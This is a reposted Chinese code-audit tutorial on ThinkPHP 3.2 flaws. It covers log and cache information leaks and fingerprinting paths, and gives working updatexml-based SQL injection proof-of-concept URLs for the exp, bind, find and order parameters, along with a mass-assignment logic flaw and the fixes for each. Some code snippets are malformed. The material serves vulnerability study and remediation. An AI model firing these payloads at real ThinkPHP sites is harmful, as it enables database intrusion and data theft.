PHP代码审计之再探 TP3 漏洞
Posted OceanSec
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了PHP代码审计之再探 TP3 漏洞相关的知识,希望对你有一定的参考价值。
之前写过关于 TP 漏洞的文章,只是时间久远,记忆不是很深刻,这次来复习温故知新
文章目录
TP 3.2 信息泄露
配置环境
数据库连接配置
# application/home/controller/IndexController.class
<?php
namespace Home\\Controller;
use Think\\Controller;
class IndexController extends Controller
public function index()
$data=M("admin")->select();
dump($data);
// 注意方法
# 连接的是 test 库,并非上图所示
开启调试
# application/home/Conf/config.php
'SHOW_PAGE_TRACE' => 'true',
日志信息泄露
Think PHP 在开启 DEBUG 的情况下会在 Runtime 目录下生成日志,如果 DEBUG 不关,可直接输入路径造成目录遍历
http://localhost/thinkphp/thinkphp_3.2.3_full/Application/runtime/logs/home/21_03_22.log
ThinkPHP3.2:Application/runtime/logs/home/21_03_22.log
ThinkPHP3.1:runtime/logs/home/21_03_22.log
对应:项目命\\runtime\\logs\\home\\year_mouth_day.log
日志里有执行 sql 语句的记录
防御方法
关闭 debug
缓存泄露
1.PHP快速缓存方法 F
# application/home/controller/IndexController.class
class IndexController extends Controller
public function index()
F("data","<?phpinfo();?>");
s:14:"<?phpinfo();?>";
先访问下 index,data 目录下就会生成缓存文件 data,如果 F 函数可控攻击者即可利用其写入木马
2.数据缓存函数 S
缓存文件保存在 temp 目录下
public function index()
S("data","<?phpinfo();?>");
文件名 md5 解密后就是 data
TP 有文件缓存的安全机制
# application/home/Conf/config.php
'DATA_CACHE_KEY' => 'think',
解密后其实就是 thinkdata
指纹识别
- 确定网站框架
- cms 指纹识别 || 黑盒测试
- 框架指纹识别
TP 3.2 可以通过访问以下 URL 出现 logo 则可以确定
/?c=4e5e5d7364f443e28fbf0d3ae744a59a
/ThinkPHP/logo.png
常用识别方法:TP 全版本通常情况下可以通过随便拼接参数构造报错,如果开启了 Debug 模式会出现报错页面
也可以使用指纹识别工具、在线指纹识别网站、以及浏览器插件(如:wappalyzer)等识别 cms
TP 3.2错误写法导致SQL注入
后端代码
# application/home/controller/IndexController.class.php
<?php
namespace Home\\Controller;
use Think\\Controller;
class IndexController extends Controller
public function index()
$username = I("username");
// I函数的作用是获取系统变量,必要时还可以对变量值进行过滤及强制转换,此函数是安全的
$data = M("admin")->where(array("name"=>$username))->find();
// M方法用于实例化一个基础模型类,等效于 $User = new Model('User');
dump($data);
参数默认会经过过滤函数
# Model.class.php
$resultSet = $this->db->select($options);
# Driver.class.php
protected function parseValue($value)
if(is_string($value))
$value = strpos($value,':') === 0 && in_array($value,array_keys($this->bind))? $this->escapeString($value) : '\\''.$this->escapeString($value).'\\'';
# Driver.class.php
public function escapeString($str)
return addslashes($str);
# 正确写法会经过过滤函数
?username=2%27
SELECT * FROM `admin` WHERE `name` = '2\\'' LIMIT 1
错误写法
# application/home/controller/IndexController.class.php
public function index()
$username = $_GET("username");
$data = M("admin")->where(array("name"=>$username))->find();
dump($data);
poc
http://localhost/thinkphp/thinkphp_3.2.3_full/?username[0]=exp&username[1]==%27admin%27%20and%201=(updatexml(1,concat(0x3a,(user())),1))%23
exp 表达式
exp 查询的条件不会被当作字符串,所以后面的查询条件可以使用任何 SQL 支持的语法,包括使用函数和字段名称,查询表达式不仅可用于查询条件也可以用于数据更新
$map['id']=array('in','1,3,8');
# exp 表达式
$map['id']=array('exp',IN (1,2,8))
# 漏洞函数 Driver.class.php
protected function parseWhereItem($key,$val)
$whereStr = '';
if(is_array($val))
if(is_string($val[0]))
$exp = strtolower($val[0]);
if(preg_match('/^(eq|neq|gt|egt|lt|elt)$/',$exp)) // 比较运算
$whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]);
.....
elseif('exp' == $exp ) // 使用表达式
$whereStr .= $key.' '.$val[1];
# 使用 exp 表达式,然而并没有进行过滤
......
漏洞修复
数据接收使用 I 函数
I 函数内封装了安全过滤函数
如果语句内存在这些过滤的特殊字符,则会在前边拼接一个空格,这样的话表达式判断失败
elseif('exp' == $exp ) // 使用表达式
TP 3.2 update\\bind注入
漏洞复现
updata 后端代码
class IndexController extends Controller
public function index()
$condition['name']=I('username');
$data['pass']=I('password');
$res=M('admin')->where($condition)->save($data);
// 查询修改 admin 表 name 字段值对应的 密码
dump($res);
// 修改成功返回 1
poc
?username[0]=bind&username[1]=0 and 1=(updatexml(1,concat(0x3a,(user())),1))%23&password=123111
UPDATE `admin` SET `pass`='123111' WHERE `name` = '123111' and 1=(updatexml(1,concat(0x3a,(user())),1))#
漏洞分析
调试界面看到从前端传过来的变量
因为使用了 bind 函数,需要进行绑定,将 :0 和 123456 进行绑定
绑定之后 sql 查询语句 set pass = :0
到这里语句进行了拼接,形成完整的语句,其中 where 条件后的 0 也通过通过匹配变为 :0
在执行语句前,对于 bind 函数绑定参数进行匹配在这里 :0 被替换为 123456 成为最后的语句
漏洞修复
因为 I 函数,过滤函数没有包含 bind,所以添加即可
补充:
is_scalar() 函数
bool is_scalar(mixed $var)
如果给出的变量参数 var 是一个标量,返回 True,否则返回 False
标量变量是指那些包含了 integer,float,string或 boolean 的变量,而 array,object 和 resource 则不是标量
TP 3.2 find注入
漏洞原因为写法不规范,不只是 find select、delete 等语句也存在相同问题(条件:查询数据表只有一个主键)
public function index()
$id = I("id");
$data = M("admin")->find($id);
dump($data);
已 find 函数为例:当$options
为数字或者字符串类型的时候,直接指定当前查询表的主键作为查询字段
poc
id[where]=1 and updatexml(1,concat(0x7e,user(),0x7e),1)--
要进入复合主键查询代码,需要满足$options
为数组同时$pk
主键也要为数组,但这个对于表只设置一个主键的时候不成立,那么就可以使$options
为数组,同时找到一个表只有一个主键,就可以绕过两次判断,直接进入_parseOptions
进行解析
// 分析表达式
$options = $this->_parseOptions($options);
没有经过任何过滤直接拼接语句造成 sql 注入漏洞
返回查询语句
修复方法:
在 _parseOptions 函数中添加过滤
新版本修复方案:
把外部传进来的$options
,修改为$this->options
,同时不再使用$this->_parseOptions
对于$options
进行表达式分析
TP 3.2 OrderBy注入
index
class IndexController extends Controller
public function index()
$username = I("username");
$order = I("order");
$data = M("admin")->where(array("name"=>$username))->order($order)->select();
dump($data);
poc
http://localhost:1111/?username=occcc&order[updatexml(1,concat(0x3a,user()),1)]
调试,在调试的时候可以看右侧灰色字体判断此代码处理数据,把握好单步和跳步精准调式
这里直接 return order by 语句,没有任何过滤
修复:
在 parseOrder 中 parsekey 进行过滤
TP 3.2 逻辑漏洞
自动完成是 ThinkPHP 提供用来完成数据自动处理和过滤的方法,使用 create 方法创建数据对象的时候会自动完成数据处理
开发手册:https://www.kancloud.cn/manual/thinkphp/1777
漏洞原因:使用自动完成功能,但没有对字段进行完整限制,导致攻击者可以更改数据值
开启自动完成
class IndexController extends Controller
public function index()
$users = D("test");
// 实例化 User 对象
if(!$users->create())
// 创建数据对象
// 如果创建失败,表示没有验证通过,输出错误信息
exit($users->getError());
else
$users->add();
// 验证通过,保存数据
UsersModel.class.php
<?php
namespace Home\\Model;
use Think\\Model;
class UsersModel extends Model
protected $_auto = array(
array("password","md5",3,"function")
// 密码自动 md5 加密
);
可以看到自动完成功能中对于密码进行了 md5 值加密,没有对其他参数做限制
自动完成插入数据不支持 GET 请求,只支持 POST 请求
比如这里没有对 level 限制的话可以对数据进行更改很可能出现越权漏洞
以上是关于PHP代码审计之再探 TP3 漏洞的主要内容,如果未能解决你的问题,请参考以下文章